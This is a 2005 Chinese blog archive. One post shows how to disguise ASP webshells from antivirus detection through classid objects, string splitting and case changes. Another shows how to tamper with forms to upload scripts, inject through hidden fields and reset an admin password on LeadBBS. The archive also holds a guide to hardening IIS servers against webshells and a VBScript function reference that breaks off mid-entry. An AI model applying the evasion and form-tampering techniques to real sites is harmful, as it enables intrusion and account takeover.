2005年06月04日

脚本攻击在网络安全中永远是个“重头戏”,由此产生的各种攻击性脚本如vbs/js脚本,各种webshell 尤其是webshell是web入侵中必不可少的工具。现在的webshell版本繁多,功能越来越强,这也成为管理员防范和各大杀毒软件追杀的目标。

下面我以asp的webshell为例子简单说下脚本的变形思路:

1.classid的使用

aspshell里的常用的对象名往往是杀毒软件采用的特征码,管理员也可以通过修改注册表,来改变asp对象的名称,但是没个asp对象在系统里有个规定的classid(ps:classid在各个系统有所不同)那么我们就可以通过classid来建立对象,如我们通常建立fso对象是采用下面的语句:
Set hh=Server.CreateObject("Scripting.FileSystemObject") 那么通过查找“Scripting.FileSystemObject" 来查杀你的脚本,那么我们就可以通过fso对应的classid来建立:
<object runat=server id=hh scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
这样还有个好处就是即使管理员改fso的名字,也可以使用。

以下是常用对象对应的classid:

WSCRIPT.SHELL 72C24DD5-D70A-438B-8A42-98424B88AFB8
WSCRIPT.NETWORK 093FF999-1EA0-4079-9525-9614C3504B74
Scripting.FileSystemObject 0D43FE01-F093-11CF-8940-00A0C9054228
Scripting.Encoder 32DA2B15-CFED-11D1-B747-00C04FC2B085
Scripting.Dictionary EE09B103-97E0-11CF-978F-00A02463E06F
adodb.stream 00000566-0000-0010-8000-00AA006D2EA4
shell.application 13709620-C279-11CE-A49E-444553540000

2.使用+或&连接符的妙用

杀毒软件一般是提高提取特征码来查杀病毒的,所以asp对象名一般就成为了“特征码”了。我们就可以通过使用+或&来拆分对象名。如:
Set hh=Server.CreateObject("Scripting.FileSystemObject")
我们就可以提高下面的语句替换:

Set hh=Server.CreateObject("Scrip"+"ting.file"+"systemobject")

Set hh=Server.CreateObject("Scrip"&"ting.file"&"systemobject")

值得一提的是“思易ASP木马追捕”也是一个有asp编写的脚本,用来查杀webshell的,这个脚本先替换掉目标代码里的&在进行查找对象名,那上面简单的使用&就没用了,不过我们可以同过插入空变量来防杀:

Set hh=Server.CreateObject("Scrip"&"ting.file"&qsdsdsdf&"systemobject")

其中qsdsdsdf就为空变量,即使替换了所有的&,对象名还是有改变。

3.改变字母大小写(本文的重点所在)

其实要通过改变字母的大小写来改变特征码,大小写对应的asii或其他的编码也不同,这样我们可以到达防杀的目的。实现起来也简单,一个系统自带的“记事本”就可以搞定,不过这样要手工一个字母的去替换,你可以自己写个简单的程序帮助你处理,不过注意的问题是,有的代码里有密码加密的函数会受到影响,还有对shell里的htm代码有影响,建立在变形事,采用部分变形(改变大小写)。下面是我vb写的一个变形工具。

PS:程序只是替换了指定的几个字母,还有就是加入空变量(见2). 如果你编程够好的话,你可以写个程序可以随机改变大小写的,还有部分变形代码。

2005年05月28日

WEB入侵之表单提交


文章作者:十二少[NorFolk]

本文已发表于2005 03期《黑客X档案》转载请注明出处

在Web程序设计中,处理表单提交的数据是客户端向SERVER传递数据的主要方法,
表单数据的提交方法有两种Post方法和Get方法,当使用Post方法时,数据由标准的
输入设备读入,当使用Get方法时,数据由CGI变量QUERY_STRING传递给表单数据处理
程序,当Post方法一般不会在服务器上留下痕迹。具体的实现过程这里我就不多说,
有兴趣的朋友可以去翻阅其他资料。不管是ASP程序还是PHP,CGI程序,表单提交的
作用的大同小异的,所以这里仅以ASP为例。

一.利用表单本地提交突破入侵限制
既然表单是客户端与服务端的重要数据传递方法之一,那么它的安全性就难免会出
现问题。

1:上传非法文件。

某同学录的popwindowupload1.asp的客户端代码如下:
< HTML>
….
< Script language="javascript">
function mysubmit(theform)
{
if(theform.big.value=="")
{
alert("请点击浏览按钮,选择您要上传的jpg或gif文件!")
theform.big.focus;
return (false);
}
else
{
str= theform.big.value;
strs=str.toLowerCase();
lens=strs.length;
extname=strs.substring(lens-4,lens);
if(extname!=".jpg" && extname!=".gif")
{
alert("请选择jpg或gif文件!");
return (false);
}
}
return (true);
}
< /script>
…..
< input type="hidden" name="act" value="upload">
< input type="hidden" name="filepath" value="/alumni/class/classimage">
< input type="submit" name="Submit2" value="开始上传">
….
< /HTML>
很明显,这个上传文件在客户端利用SCRIPT限制了上传类型,虽然用SCRIPT可以减轻
ASP程序的负载,但象大部分好的方面一样也有它坏的一面,如果其只是在客户端做限
制,并在服务端限制上传类型或禁止外部提交,那么它并不能阻止我们上传程序禁止上传
的ASP,CER,PHP等文件,只要我们在本地构造一个表单也能能轻松的上传这些文件。
构造的表单主要代码如下:
………….
< form name="mainForm" enctype="multipart/form-data" action="http://www.***
w.com/alumni/class/pic/upfile.asp?userid2=" method=post">
< tr>
< td width="74" align="right" height="26">标题:
< td width="399">十二少
< /tr>
< tr>
< td width="74" align="right" height="26">照片说明:
< td width="399">十二少’s照片
< /td>
< /tr>
< tr>
< td width="74" align="right" height="26">图片路径:
< td width="399">
< input type="file" name="big">
< /td>
< /tr>
< tr align="center">
< td colspan="2" height="26">

< input type="hidden" name="act" value="upload">
< input type="hidden" name="filepath" value="/alumni/class/classimage">
< input type="submit" name="Submit2" value="开始上传">
< br>
< /td>
< /tr>
< tr align="center">
< td colspan="2" height="26" class="di">只支持jpg,gif文件,图片大小在
150k< /font>以内,上传时请耐心等待!
< /tr>
< /form>
….
只要将前面查看得到的代码中的验证文件类型的SCRIPT删掉,然后再修改ACTION后的URL保存为HTML文件即可

2:突破表格注入限制
这个和前面一差不多就不再多说了(呵呵,其实是找不到实例拉)
另外字符输入的长度限制也差不多,只要你看得懂这些HTML语言。
二.HIDDEN隐藏字段缺陷
终于说到重点了。
1:还是SQL注入问题。
目前SQL注入工击仍是入侵中的一大热点,不过随着时间的推移,一般的大型网站程序都已经将明显的
注入点打好补丁拉,但是一些隐藏的比较深的注入点却还是有不少的,除非将它所有的代码都翻新一片。
明显的注入点如:.asp?id=*,输入框等都已经过滤了,但这就能彻底的杜绝黑客的入侵吗?回答当然是NO
这就要提到本文的重点HIDDEN隐藏字段拉。
图1是某网游官方站点的帐号激活界面,查看源码,搜索"HIDDEN"字符串

< form action="index_game.asp" method="post" name="form1" target="_blank" onSubmit="return active_go();">

< td height="25" align="center">

< input type="submit" name="Submit" value="提交">

< /form>
如图2,看到了吗那个:
只要它没有在客户端做任何限制,
这就是一个注入点拉,将"user_name"的值"norfolk"改为想要注入的代码,然后和前面的一样将"ACTION"
的改为相应的URL,保存为HTML文件~~~~~~~~~
不过,它的安全还不错,提交后返回错误提示窗口,很显然它在服务端禁止了外部提交。

2:非法修改其他用户密码。

典型的代表是leadbbs V2.77的那个密码修改漏洞:任何注册用户都可以修改管理员密码,从而入侵服务器,
进而拿下主机。
登陆后修改密码,查看源码,其主要漏洞代码如下:
…….
< form action=usermodify.asp method=post name=form1 onsubmit="submitonce(this);return validationpassed">
< tr>
< td align=middle height=25>
< p>*用户名称:
< td height=25>
< p>norfolk




< tr>
< td align=middle height=25>
< p>*你的密码:




< td height=25>
< input class=fminpt name=submitflag type=hidden value=52norflk>
< input class=fminpt name=form_id type=hidden value=265>
……..



其中我的from_id的值为265,在管理员例表中查看管理员ID,然后将它替换265,再将ACTION的URL相应的修改一下
保存为HTML文件再提交就可以将管理员的密码改成52norfolk。

这个漏洞早在2003.12月就已经公布,这里在拿出来只是为了说明一下这个HIDDEN隐藏字段的危害。不过我发现目前
还是有不少程序可以任意修改其他用户的密码,至于方法如出一辙,(偶用这个漏洞拿下过不少站点的ADMIN):

3:任意修改价格以达到低价甚至不花一分钱网上购物。

早在几年前国内国外的一些大型网上购物网站就已经出现过类似的漏洞。 这些网站的后台程序的验证机制并不健全
以至可以在外部提交数据,于是便出现了低价甚至不花一分钱购买商品的事件,导致这些网站造成重大的经济损失,
由此观之,网络安全是马虎不得的,即使一丁点而问题,造成的损失也是不可估量的。希望之后的程序员在编写程序时能
够尽量细心。这里我就不再将它的利用过程写出来了,反正它们的利用过程都基本相似。

最后给大家介绍老外写的一个不错的检测WEB应用程序安全性的工具,一下是安全焦点的介绍:

Achilles是一个设计用来测试web应用程序安全性的工具。它是一个代理服务器,在一
个HTTP会话中扮演着"中间人"(man-in-the-middle)的角色。一个典型的HTTP代理服
务器将在客户浏览器和web服务器间转发数据包,但Achilles却载取发向任一方的HTTP会
话数据,并且在转发数据前可以让用户修改这些数据.

相信在WEB入侵方面可以为您提供不少的帮助,如果有可能下次再专门写篇文章介绍它吧,这里我就不多说了,有兴趣的
朋友可以自己下载研究研究,它的下载地址:http://www.xfocus.net/tools/200403/achilles-0-27.zip


后记:
到这里还是说一下解决方法吧。
首先当然是禁止外部提交,这里有种不错的方法,大家可以参考参考:

< %
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
% >
你想入侵我也不要这么麻烦嘛,直接打电话告诉我,我给你开WEBSHELL,呵呵
< %
Response.Redirect "Fuck-Hacker.asp"
end if
% >
但这不能彻底杜绝黑客对传递的DIDDEN数据的修改,前面那个ACHILLES就能修改,所以在
服务端还要有健全的验证机制。

2005年05月25日
防范WEB SHELL(整理文)



防范WEB SHELL(整理文)

做了1年时间的虚拟主机管理员,大概对NT下的WEB SHELL的防范也有一定的了解。现在通过整理一些高手的文章来说说如何防范WEBSHELL。常见的WEBSHELL也就是ASP,PHP,PERL,这些脚本写成的。市面上比较流行的WEBSHELL也就是海阳顶端网asp木马2005、桂林老兵的ASP站长助手(不知道算不算WEBSHELL,呵呵)、蓝屏ASP木马(好象有点过时了)、安全天使的phpspy2005、咖啡的PHP文件管理器1.6、cmd.cgi(PERL的我不熟悉,只知道这个)。本文的目的也就是要防范这些WEBSHELL。
防范这些WEBSHELL,首先是设置服务器的权限,禁止他们越权访问东西。服务器权限设置可以参考沉睡不醒整理的IIS FAQ
(http://fox.he100.com/showart.asp?art_id=121&cat_id=1),我这里就直接引用原文的内容了

9.如何让iis的最小ntfs权限运行?
  依次做下面的工作:
  a.选取整个硬盘:
  system:完全控制
  administrator:完全控制
  (允许将来自父系的可继承性权限传播给对象)

  b.\program files\common files:
  everyone:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)

  c.\inetpub\wwwroot:
  iusr_machinename:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)

  e.\winnt\system32:
  选择除inetsrv和centsrv以外的所有目录,
  去除“允许将来自父系的可继承性权限传播给对象”选框,复制。
  f.\winnt:
  选择除了downloaded program files、help、iis temporary compressed files、
  offline web pages、system32、tasks、temp、web以外的所有目录
  去除“允许将来自父系的可继承性权限传播给对象”选框,复制。

  g.\winnt:
  everyone:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)
  
  h.\winnt\temp:(允许访问数据库并显示在asp页面上)
  everyone:修改
  (允许将来自父系的可继承性权限传播给对象)

再单独对cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe设置为只允许administrators组访问,这样就可以防范通过Serv-U的本地提升权限漏洞来运行这些关键的程序了,再删除cacls.exe这个程序,防止有人通过命令行来修改权限,呵呵。
再来去掉一些ASP WEBSHELL需要使用的一些组件,这些组件其实普通的虚拟主机用户也是用不上的。
很多防范ASP木马的文章都提到要删除FileSystemObject组件,但删除了这个组件后,很多ASP的程序可能会运行不了,其实只要做好了前面的工作,FileSystemObject组件能操作的,只能是自己目录下的文件,也就构成不了什么威胁了!
现在看来,还比较有威胁的组件就是Shell.Application和Wscript.Shell这两个组件了,Shell.Application可以对文件进行一些操作,还可以执行程序,但不能带参数,而Wscript.Shell可以操作注册表和执行DOS命令。

防范Wscript.Shell组件的方法:
可以通过修改注册表,将此组件改名。
HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName自己以后调用的时候使用这个就可以正常调用此组件了
也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
也可以将其删除,来防止此类木马的危害。

防范Shell.Application组件的方法:
可以通过修改注册表,将此组件改名。
HKEY_CLASSES_ROOT\Shell.Application\

HKEY_CLASSES_ROOT\Shell.Application.1\
改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName
自己以后调用的时候使用这个就可以正常调用此组件了。
也要将clsid值也改一下
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
也可以将其删除,来防止此类木马的危害。
附参考文《构建免受 Fso 威胁虚拟主机》
作者:稻香居士

  现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。
  如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。
  在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。
  下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。
  如下图所示,打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:
  在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”,即:所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”:
  现在新建立的用户已经出现在帐号列表中了,在列表中双击该帐号,以便进一步进行设置:
  在弹出的“IUSR_VHOST1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:
  刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:
  现在出现的是如下图所示,此时再点“添加”:
  在弹出的“选择 组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:
  出现的就是如下图所示的内容,点“确定”关闭此对话框:
  打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”:
  弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“F:\VHOST1”这个文件夹:
  暂时先不管刚才的“第一虚拟主机 属性”对话框,切换到“资源管理器”,找到“F:\VHOST1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:
  此时会弹出如下图所示的“安全”警告,点“删除”:
  此时安全选项卡中的所有组和用户都将被清空(如果没有清空,请使用“删除”将其清空),然后点“添加”按钮。
  将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来,将给予完全控制的权限,还可以根据实际需要添加其他组或用户,但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去!
  再切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”:
  在弹出的“验证方法”对方框(如下图所示),点“编辑”:
  弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”:
  在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”,双击:
  此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码:
  再确定一遍密码:
  OK,完成了,点确定关闭这些对话框。
  经此设置后,“第一虚拟主机”的用户,使用 ASP 的 FileSystemObject 组件也只能访问自己的目录:F:\VHOST1 下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。
  另:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。

附录:
参考文章:
《构建免受 Fso 威胁虚拟主机》
http://fox.he100.com/showart.asp?art_id=106&cat_id=1
IIS FAQ
http://fox.he100.com/showart.asp?art_id=121&cat_id=1
如何防止ASP木马在服务器上运行
http://fox.he100.com/showart.asp?art_id=120&cat_id=1
windows2000虚拟主机基本权限设置不完全版本
http://www.icylife.net/blog/show.php?id=40

后记废话:
头一次整理文章,弄的晕晕的,好象很乱,将就看看吧-_-!
By Blackfox
QQ:6858849
2/17/2005 10:16:31 PM

2005年05月24日

FUNCTION: 返回一个数组
  SYNTAX: Array(list)
  ARGUMENTS: 字符,数字均可
  EXAMPLE: <%
  Dim myArray()
  For i = 1 to 7
  Redim Preserve myArray(i)
  myArray(i) = WeekdayName(i)
  Next
  %[/IMG]
  RESULT: 建立了一个包含7个元素的数组myArray
  myArray("Sunday","Monday", … … "Saturday")

CInt()
  FUNCTION: 将一个表达式转化为数字类型
  SYNTAX: CInt(expression)
  ARGUMENTS: 任何有效的字符均可
  EXAMPLE: <%
  f = "234"
  response.write cINT(f) + 2
  %[/IMG]
  RESULT: 236
  转化字符"234"为数字"234",如果字符串为空,则返回0值

createObject()
  FUNCTION: 建立和返回一个已注册的ACTIVEX组件的实例。
  SYNTAX: createObject(objName)
  ARGUMENTS: objName 是任何一个有效、已注册的ACTIVEX组件的名字.
  EXAMPLE: <%
  Set con = Server.createObject("ADODB.Connection")
  %[/IMG]
  RESULT:

CStr()
  FUNCTION: 转化一个表达式为字?
  SYNTAX: CStr(expression)
  ARGUMENTS: expression 是任何有效的表达式。
  EXAMPLE: <%
  s = 3 + 2
  response.write "The result is: " & cStr(s)
  %[/IMG]
  RESULT: 转化数字"5"为字符"5"。

Date()
  FUNCTION: 返回当前系统日期.
  SYNTAX: Date()
  ARGUMENTS: None.
  EXAMPLE: <%=Date%[/IMG]
  RESULT: 8/4/99

DateAdd()
  FUNCTION: 返回一个被改变了的日期。
  SYNTAX: DateAdd(timeinterval,number,date)
  ARGUMENTS: timeinterval is the time interval to add; number is amount of time intervals to add; and date is the starting date.
  EXAMPLE: <%
  currentDate = #8/4/99#
  newDate = DateAdd("m",3,currentDate)
  response.write newDate
  %[/IMG]

  <%
  currentDate = #12:34:45 PM#
  newDate = DateAdd("h",3,currentDate)
  response.write newDate
  %[/IMG]
  RESULT: 11/4/99
  3:34:45 PM

  "m" = "month";
  "d" = "day";

  If currentDate is in time format then,
  "h" = "hour";
  "s" = "second";

DateDiff()
  FUNCTION: 返回两个日期之间的差值 。
  SYNTAX: DateDiff(timeinterval,date1,date2 [, firstdayofweek [, firstweekofyear[/IMG][/IMG])
  ARGUMENTS: timeinterval 表示相隔时间的类型,如"M"表示"月"。
  EXAMPLE: <%
  fromDate = #8/4/99#
  toDate = #1/1/2000#
  response.write "There are " & _
  DateDiff("d",fromDate,toDate) & _
  " days to millenium from 8/4/99."
  %[/IMG]
  RESULT: 从8/4/99 到2000年还有 150 天.

Day()
  FUNCTION: 返回一个月的第几日 .
  SYNTAX: Day(date)
  ARGUMENTS: date 是任何有效的日期。
  EXAMPLE: <%=Day(#8/4/99#)%[/IMG]
  RESULT: 4

FormatCurrency()
  FUNCTION: 返回表达式,此表达式已被格式化为货币值
  SYNTAX: FormatCurrency(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit[/IMG][/IMG][/IMG][/IMG])
  ARGUMENTS: Digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置;   LeadingDigit 三态常数,指示是否显示小数值小数点前面的零。
  EXAMPLE: <%=FormatCurrency(34.3456)%[/IMG]
  RESULT: $34.35

FormatDateTime()
  FUNCTION: 返回表达式,此表达式已被格式化为日期或时间
  SYNTAX: FormatDateTime(Date, [, NamedFormat[/IMG])
  ARGUMENTS: NamedFormat 指示所使用的日期/时间格式的数值,如果省略,则使用 vbGeneralDate.
  EXAMPLE: <%=FormatDateTime("08/4/99", vbLongDate)%[/IMG]
  RESULT: Wednesday, August 04, 1999

FormatNumber()
  FUNCTION: 返回表达式,此表达式已被格式化为数值.
  SYNTAX: FormatNumber(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit[/IMG][/IMG][/IMG][/IMG])
  ARGUMENTS: Digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。; LeadingDigit i指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。; Paren 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。; GroupDigit i指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。.
  EXAMPLE: <%=FormatNumber(45.324567, 3)%[/IMG]
  RESULT: 45.325

FormatPercent()
  FUNCTION: 返回表达式,此表达式已被格式化为尾随有 % 符号的百分比(乘以 100 )。 (%)
  SYNTAX: FormatPercent(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit[/IMG][/IMG][/IMG][/IMG])
  ARGUMENTS: 同上.
  EXAMPLE: <%=FormatPercent(0.45267, 3)%[/IMG]
  RESULT: 45.267%

Hour()
  FUNCTION: 以24时返回小时数.
  SYNTAX: Hour(time)
  ARGUMENTS:
  EXAMPLE: <%=Hour(#4:45:34 PM#)%[/IMG]
  RESULT: 16
  (Hour has been converted to 24-hour system)

Instr()
  FUNCTION: 返回字符或字符串在另一个字符串中第一次出现的位置.
  SYNTAX: Instr([start, [/IMG] strToBeSearched, strSearchFor [, compare[/IMG])
  ARGUMENTS: Start为搜索的起始值,strToBeSearched接受搜索的字符串 strSearchFor要搜索的字符compare 比较方式(详细见ASP常数)
  EXAMPLE: <%
  strText = "This is a test!!"
  pos = Instr(strText, "a")
  response.write pos
  %[/IMG]
  RESULT: 9

InstrRev()
  FUNCTION: 同上,只是从字符串的最后一个搜索起
  SYNTAX: InstrRev([start, [/IMG] strToBeSearched, strSearchFor [, compare[/IMG])
  ARGUMENTS: 同上.
  EXAMPLE: <%
  strText = "This is a test!!"
  pos = InstrRev(strText, "s")
  response.write pos
  %[/IMG]
  RESULT: 13


Int()
  FUNCTION: 返回数值类型,不四舍五入。
  SYNTAX: Int(number)
  ARGUMENTS:
  EXAMPLE: <%=INT(32.89)%[/IMG]
  RESULT: 32

IsArray()
  FUNCTION: 判断一对象是否为数组,返回布尔值 .
  SYNTAX: IsArray(name)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "Test!"
  response.write IsArray(strTest)
  %[/IMG]
  RESULT: False

IsDate()
  FUNCTION: 判断一对象是否为日期,返回布尔值
  SYNTAX: IsDate(expression)
  ARGUMENTS: expression is any valid expression.
  EXAMPLE: <%
  strTest = "8/4/99"
  response.write IsDate(strTest)
  %[/IMG]
  RESULT: True

IsEmpty()
  FUNCTION: 判断一对象是否初始化,返回布尔值.
  SYNTAX: IsEmpty(expression)
  ARGUMENTS:
  EXAMPLE: <%
  Dim i
  response.write IsEmpty(i)
  %[/IMG]
  RESULT: True

IsNull()
  FUNCTION: 判断一对象是否为空,返回布尔值.
  SYNTAX: IsNull(expression)
  ARGUMENTS:
  EXAMPLE: <%
  Dim i
  response.write IsNull(i)
  %[/IMG]
  RESULT: False
  
  IsNumeric()
  FUNCTION: 判断一对象是否为数字,返回布尔值.
  SYNTAX: IsNumeric(expression)
  ARGUMENTS:
  EXAMPLE: <%
  i = "345"
  response.write IsNumeric(i)
  %[/IMG]
  RESULT: True
  就算数字加了引号,ASP还是认为它是数字。

IsObject()
  FUNCTION: 判断一对象是否为对象,返回布尔值.
  SYNTAX: IsObject(expression)
  ARGUMENTS:
  EXAMPLE: <%
  Set con = Server.createObject("ADODB.Connection")
  response.write IsObject(con)
  %[/IMG]
  RESULT: True
LBound()
  FUNCTION: 返回指定数组维的最小可用下标.
  SYNTAX: Lbound(arrayname [, dimension[/IMG])
  ARGUMENTS: dimension 指明要返回哪一维下界的整数。使用 1 表示第一维,2 表示第二维,以此类  推。如果省略 dimension 参数,默认值为 1.
  EXAMPLE: <%
  i = Array("Monday","Tuesday","Wednesday")
  response.write LBound(i)
  %[/IMG]
  RESULT: 0

LCase()
  FUNCTION: 返回字符串的小写形式
  SYNTAX: Lcase(string)
  ARGUMENTS: string is any valid string expression.
  EXAMPLE: <%
  strTest = "This is a test!"
  response.write LCase(strTest)
  %[/IMG]
  RESULT: this is a test!

Left()
  FUNCTION: 返回字符串左边第length个字符以前的字符(含第length个字符).
  SYNTAX: Left(string, length)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "This is a test!"
  response.write Left(strTest, 3)
  %[/IMG]
  RESULT: Thi

Len()
  FUNCTION: 返回字符串的长度.
  SYNTAX: Len(string | varName)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "This is a test!"
  response.write Len(strTest)
  %[/IMG]
  RESULT: 15

LTrim()
  FUNCTION: 去掉字符串左边的空格.
  SYNTAX: LTrim(string)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = " This is a test!"
  response.write LTrim(strTest)
  %[/IMG]
  RESULT: This is a test!

Mid()
  FUNCTION: 返回特定长度的字符串(从start开始,长度为length).
  SYNTAX: Mid(string, start [, length[/IMG])
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "This is a test! Today is Monday."
  response.write Mid(strTest, 17, 5)
  %[/IMG]
  RESULT: Today

Minute()
  FUNCTION: 返回时间的分钏.
  SYNTAX: Minute(time)
  ARGUMENTS:
  EXAMPLE: <%=Minute(#12:45:32 PM#)%[/IMG]
  RESULT: 45

Month()
  FUNCTION: 返回日期.
  SYNTAX: Month(date)
  ARGUMENTS: date is any valid date expression.
  EXAMPLE: <%=Month(#08/04/99#)%[/IMG]
  RESULT: 8

MonthName()
  FUNCTION: Returns a string identifying the specified month.
  SYNTAX: MonthName(month, [, Abb[/IMG])
  ARGUMENTS: month is the numeric representation for a given month; Abb (optional) is a boolean value used to display month abbreviation. True will display the abbreviated month name and False (default) will not show the abbreviation.
  EXAMPLE: <%=MonthName(Month(#08/04/99#))%[/IMG]
  RESULT: August

Now()
  FUNCTION: Returns the current system date and time.
  SYNTAX: Now()
  ARGUMENTS: None
  EXAMPLE: <%=Now%[/IMG]
  RESULT: 8/4/99 9:30:16 AM

Replace()
  FUNCTION: Returns a string in which a specified sub-string has been replaced with another substring a specified number of times.
  SYNTAX: Replace(strToBeSearched, strSearchFor, strReplaceWith [, start [, count [, compare[/IMG][/IMG][/IMG])
  ARGUMENTS: strToBeSearched is a string expression containing a sub-string to be replaced; strSearchFor is the string expression to search for within strToBeSearched; strReplaceWith is the string expression to replace sub-string strSearchFor; start (optional) is the numeric character position to begin search; count (optional) is a value indicating the comparision constant.
  EXAMPLE: <%
  strTest = "This is an apple!"
  response.write Replace(strTest, "apple", "orange")
  %[/IMG]
  RESULT: This is an orange!

Right()
  FUNCTION: 返回字符串右边第length个字符以前的字符(含第length个字符).
  SYNTAX: Right(string, length)
  ARGUMENTS: .
  EXAMPLE: <%
  strTest = "This is an test!"
  response.write Right(strTest, 3)
  %[/IMG]
  RESULT: st!

Rnd()
  FUNCTION: 产生一个随机数.
  SYNTAX: Rnd [ (number) [/IMG]
  ARGUMENTS:
  EXAMPLE: <%
  Randomize()
  response.write RND()
  %[/IMG]
  RESULT: 任何一个在0 到 1 之间的数

Round()
  FUNCTION: 返回按指定位数进行四舍五入的数值.
  SYNTAX: Round(expression [, numRight[/IMG])
  ARGUMENTS: numRight数字表明小数点右边有多少位进行四舍五入。如果省略,则 Round 函数返回整数.
  EXAMPLE: <%
  i = 32.45678
  response.write Round(i)
  %[/IMG]
  RESULT: 32

Rtrim()
  FUNCTION: 去掉字符串右边的字符串.
  SYNTAX: Rtrim(string)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "This is a test!! "
  response.write RTrim(strTest)
  %[/IMG]
  RESULT: This is a test!!

Second()
  FUNCTION: 返回秒.
  SYNTAX: Second(time)
  ARGUMENTS: .
  EXAMPLE: <%=Second(#12:34:28 PM#)%[/IMG]
  RESULT: 28

StrReverse()
  FUNCTION: 反排一字符串
  SYNTAX: StrReverse(string)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "This is a test!!"
  response.write StrReverse(strTest)
  %[/IMG]
  RESULT: !!tset a si sihT

Time()
  FUNCTION: 返回系统时间.
  SYNTAX: Time()
  ARGUMENTS: .
  EXAMPLE: <%=Time%[/IMG]
  RESULT: 9:58:28 AM

Trim()
  FUNCTION: 去掉字符串左右的空格.
  SYNTAX: Trim(string)
  ARGUMENTS: string is any valid string expression.
  EXAMPLE: <%
  strTest = " This is a test!! "
  response.write Trim(strTest)
  %[/IMG]
  RESULT: This is a test!!

UBound()
  FUNCTION: 返回指定数组维数的最大可用下标.
  SYNTAX: Ubound(arrayname [, dimension[/IMG])
